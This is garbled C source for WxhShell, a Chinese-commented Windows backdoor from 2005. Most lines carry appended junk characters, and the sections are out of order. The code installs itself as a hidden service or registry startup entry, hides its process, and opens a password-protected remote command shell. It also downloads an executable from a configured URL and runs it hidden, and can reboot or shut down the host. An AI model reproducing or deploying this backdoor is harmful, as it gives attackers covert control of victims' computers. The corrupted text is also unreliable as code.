} PROCESS_BASIC_INFORMATION; yn}Dj9(q
H;4QuB'^
PROCNTQSIP NtQueryInformationProcess; T+nID@"36
=tD*,2]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nfF$h}<o+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \4wMv[;7
#dae^UjM
HANDLE hProcess; 0#OyT'~V%
PROCESS_BASIC_INFORMATION pbi; <~5O-.G]
F:q4cfL6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D%]S>g5k
if(NULL == hInst ) return 0; _cQ
'3@
is8i_FoD,n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `{:Nt#7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ht;Rz*}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Yn>9llo}=
J{b#X"i
if (!NtQueryInformationProcess) return 0; |Jn|GnM
=xm7i#1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IWu=z!mO
if(!hProcess) return 0; q
'(@q"`n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZwBz\jmbP
I`{*QU
CloseHandle(hProcess); K bLSK
$h
pUI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %CHw+wT&
if(hProcess==NULL) return 0; +]cf/_8+s
}
doAeTZ
HMODULE hMod; 3GF67]
char procName[255]; 2>9\o]ac4
unsigned long cbNeeded; N_NN0
? Vd~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Va(l$zD
~'lT8 n_
CloseHandle(hProcess); qm!cv;}c1
< 8'
b
if(strstr(procName,"services")) return 1; // 以服务启动 r1< 'l
yF(9=z"?
return 0; // 注册表启动 A#cFO)"
} i'li;xUhZ
Bza<.E=
// 主模块 XiTi3vCe
int StartWxhshell(LPSTR lpCmdLine) %TQ4ZFD3
{ |p[Mp:^^
SOCKET wsl; &Tt7VYJfIV
BOOL val=TRUE; -+@N/d5
int port=0; ij0I!ilG4
struct sockaddr_in door; g7]S
pYQSn.`V~
if(wscfg.ws_autoins) Install(); x
t-s"A
@/kI;8
port=atoi(lpCmdLine); ]:Ep1DIMl
K9EHT-
if(port<=0) port=wscfg.ws_port; dP_QkO
>hNSEWMY`
WSADATA data; CWkWW/ZI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }{N#JTmjB#
'O)v@p "
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <@(\z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >u>
E !5O
door.sin_family = AF_INET; xF!IT"5D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wA$7SWC
door.sin_port = htons(port); f4 S:L&
xcw:H&\w6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }&=l)\e
closesocket(wsl); OU%"dmSDk
return 1; g/.FJ-I*
} VYb,Hmm>kC
Ld*Ds!*'/
if(listen(wsl,2) == INVALID_SOCKET) { #a=]h}&1?
closesocket(wsl); *,G<X^
return 1; ivgX o'=
} ;xiN<f4B
Wxhshell(wsl); )8oyo~4?
WSACleanup(); |iUF3s|?
9ia&/BT7"z
return 0; J.XkdGQ
kEq~M10
} 2?%*UxcO
dY}5Kmt
// 以NT服务方式启动 HE+' fQ!R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U>*@VOgB
{ >bV3~m$a+
DWORD status = 0; {2 q"9Ox"
DWORD specificError = 0xfffffff; 8i]
S[$Fc
(Z>?\iNJ
serviceStatus.dwServiceType = SERVICE_WIN32; mh"PA p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LAc60^t1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3y.+03
W
serviceStatus.dwWin32ExitCode = 0; @xdtl{5G
serviceStatus.dwServiceSpecificExitCode = 0;
+!u9_?Tp
serviceStatus.dwCheckPoint = 0; w&H>`l06
serviceStatus.dwWaitHint = 0; NE#`ZUr3
WVyDE1K<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uB"B{:Kz
if (hServiceStatusHandle==0) return; .>;??BG}
W^3 Jg2gE
status = GetLastError(); \"ogQnmz
if (status!=NO_ERROR) q0%QMut%
{ Pxf>=kY
serviceStatus.dwCurrentState = SERVICE_STOPPED; >6Pe~J5,:
serviceStatus.dwCheckPoint = 0; EgG3XhfS
serviceStatus.dwWaitHint = 0; AAfU]4u0S
serviceStatus.dwWin32ExitCode = status; Y`22DFO
serviceStatus.dwServiceSpecificExitCode = specificError; r8 YM#dF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f`ibP6%
return; FFZ?-sE
} 0@?m"|G
tLKf]5}f
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2gK]w$H7!
serviceStatus.dwCheckPoint = 0; 8OOAPp$%|
serviceStatus.dwWaitHint = 0; s2,6aW C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D6lzcf
} !)oQ9,N
K@n-#
// 处理NT服务事件,比如:启动、停止 m#W XZr
VOID WINAPI NTServiceHandler(DWORD fdwControl) ep3VJ"^
{ 6k@F?qHS
switch(fdwControl) =A,T:!}'
{ L=;T$4+p
case SERVICE_CONTROL_STOP: FUSe!f
serviceStatus.dwWin32ExitCode = 0; nL^7t7mp
serviceStatus.dwCurrentState = SERVICE_STOPPED; `%[m%Y9h
serviceStatus.dwCheckPoint = 0; r
ts2Jk7f
serviceStatus.dwWaitHint = 0; <=|^\r
!}&
{ 1:<n(?5JI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p}==aNZK
} "a;$uW@.6
return; O6$,J12l
case SERVICE_CONTROL_PAUSE: S^~"#
serviceStatus.dwCurrentState = SERVICE_PAUSED; , SUx!o
break; F}mt
*UcMG
case SERVICE_CONTROL_CONTINUE: GTbV5{Ss
serviceStatus.dwCurrentState = SERVICE_RUNNING; E2}X[EoBF
break; KJ/Gv#Kj
case SERVICE_CONTROL_INTERROGATE: &jEw(P&_
break; b&E"r*i|
};
M3UC9t9]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J0k!&d8
} Tr>_R%b K
T] H'l
// 标准应用程序主函数 8)iI=,T*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zytW3sTZA
{ GBZ u<t/
+(Hp ".gU
// 获取操作系统版本 s w>B
OsIsNt=GetOsVer(); $27OrXQ|
GetModuleFileName(NULL,ExeFile,MAX_PATH); j/oc+ M^
_T.`+0UV
// 从命令行安装 aW_Y
if(strpbrk(lpCmdLine,"iI")) Install(); ~a
V5
zE8_3UC
// 下载执行文件 3s]o~I 2x
if(wscfg.ws_downexe) { ]srL>29_b
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q@S\R
7R
WinExec(wscfg.ws_filenam,SW_HIDE); \5N\NN @J
} bhDqRM
g'k m*EV
if(!OsIsNt) { ;K l'[~z
// 如果时win9x,隐藏进程并且设置为注册表启动 bRFZ:hu l
HideProc(); ~~WY?I-
StartWxhshell(lpCmdLine); |Z>}#R!,P
} 1:7fV@jw
else PY4">~6\i
if(StartFromService()) {7X9P<<L7
// 以服务方式启动 KJ&I4CU]^
StartServiceCtrlDispatcher(DispatchTable); j-aTpN
else 4+>~Ui_#
// 普通方式启动 pIrL7Pb0
StartWxhshell(lpCmdLine); Q+a&a]*KL^
7a_u=\,
return 0; TG?>;It&
} R'F \9eyA
-{A64gfFxT
Xeja\5zB
e
GAto
=========================================== 3`3my=
qMVuBv
LhF;A~L
'%|Um3);0p
XpKeN2=p
3^H-,b0^
"
qOD^P
It'kO jx]
#include <stdio.h> YJz06E1 -9
#include <string.h> !6taOT>v
#include <windows.h> HYdt3GtJ?
#include <winsock2.h> ZBK)rmhMx
#include <winsvc.h> ~.e~YI80
#include <urlmon.h> LkF*$
NU.4_cixb
#pragma comment (lib, "Ws2_32.lib") Wxj(3lg/
#pragma comment (lib, "urlmon.lib") Wl&6T1A`"
+sZY0(|K8
#define MAX_USER 100 // 最大客户端连接数 ze8 MFz'm
#define BUF_SOCK 200 // sock buffer 'g<FL`iP
#define KEY_BUFF 255 // 输入 buffer F`gK6;zp
ER!s
#define REBOOT 0 // 重启 2S@Cj{R(
#define SHUTDOWN 1 // 关机 nYC S %\"
E_D@7a
#define DEF_PORT 5000 // 监听端口 {^:i}4ZRl
^5!"[RB\
#define REG_LEN 16 // 注册表键长度 W^,p2
#define SVC_LEN 80 // NT服务名长度 4e[ 0.2?
_w <6o<@
// 从dll定义API w2!5TKZ`
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <gvgr4@^yR
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BG-nf1K(
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !_>/ r
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }*P;kV
ucLh|}jJ5
// wxhshell配置信息 R6GlQ G
struct WSCFG { bV)h\:oC
int ws_port; // 监听端口 W-1Ub |8C
char ws_passstr[REG_LEN]; // 口令 9-=kVmT&g
int ws_autoins; // 安装标记, 1=yes 0=no
|M?VmG/6
char ws_regname[REG_LEN]; // 注册表键名 1TN+pmc}@
char ws_svcname[REG_LEN]; // 服务名 ?ZKIs9E[m
char ws_svcdisp[SVC_LEN]; // 服务显示名 ]K5j(1EN
char ws_svcdesc[SVC_LEN]; // 服务描述信息 68qCY
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V22Br#+
int ws_downexe; // 下载执行标记, 1=yes 0=no f0{tBD!%
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" up?S (.*B
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FSZ :}Q
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=
}; 8Sf}z@~]
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// default Wxhshell configuration aHles5
struct WSCFG wscfg={DEF_PORT, w*Ze5j4@
\
"xuhuanlingzhe", cn_KHz=
1, RBeQT=B8~
"Wxhshell", D0gz
((
"Wxhshell", do< N+iK
"WxhShell Service", Jj1lAg0
"Wrsky Windows CmdShell Service", S:
g 2V
"Please Input Your Password: ", &:C(,`~
1, h&Q-QU
"http://www.wrsky.com/wxhshell.exe", srU*1jD)
"Wxhshell.exe" :?3y)*J!
}; ~05(92bK
8\`otJY
// 消息定义模块 *U,W4>(B
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S }G3h a
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1[?xf4EMG
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bFIv}c+;
char *msg_ws_ext="\n\rExit."; j4D`Xq2X
char *msg_ws_end="\n\rQuit."; Zr!CT5C5
char *msg_ws_boot="\n\rReboot..."; te3\MSv;O
char *msg_ws_poff="\n\rShutdown..."; y2x)<.cDP
char *msg_ws_down="\n\rSave to "; _cc9+o
wqQrby<
char *msg_ws_err="\n\rErr!"; rY=dNK]d
char *msg_ws_ok="\n\rOK!"; \z-OJ1[F
N?%FVF
char ExeFile[MAX_PATH]; kgF x
int nUser = 0; /T<,vR
HANDLE handles[MAX_USER]; OimqP
int OsIsNt;
(Vy`u)gG
l\=He
SERVICE_STATUS serviceStatus; Ot!*,%sjQ
SERVICE_STATUS_HANDLE hServiceStatusHandle; VSc)0eyn
6~8X/
-02
// 函数声明 $olITe"$g
int Install(void); G9c2kX.Bf
int Uninstall(void); +,0 :L :a
int DownloadFile(char *sURL, SOCKET wsh); r}XsJ$
int Boot(int flag); ='.G,aJ9
void HideProc(void); 0yKPYA*j
int GetOsVer(void); vo'{phtF)M
int Wxhshell(SOCKET wsl); hL/
void TalkWithClient(void *cs); lHoV>k
int CmdShell(SOCKET sock); 4,6nk.$yN
int StartFromService(void); * p,2>[e
int StartWxhshell(LPSTR lpCmdLine); m-|~tve
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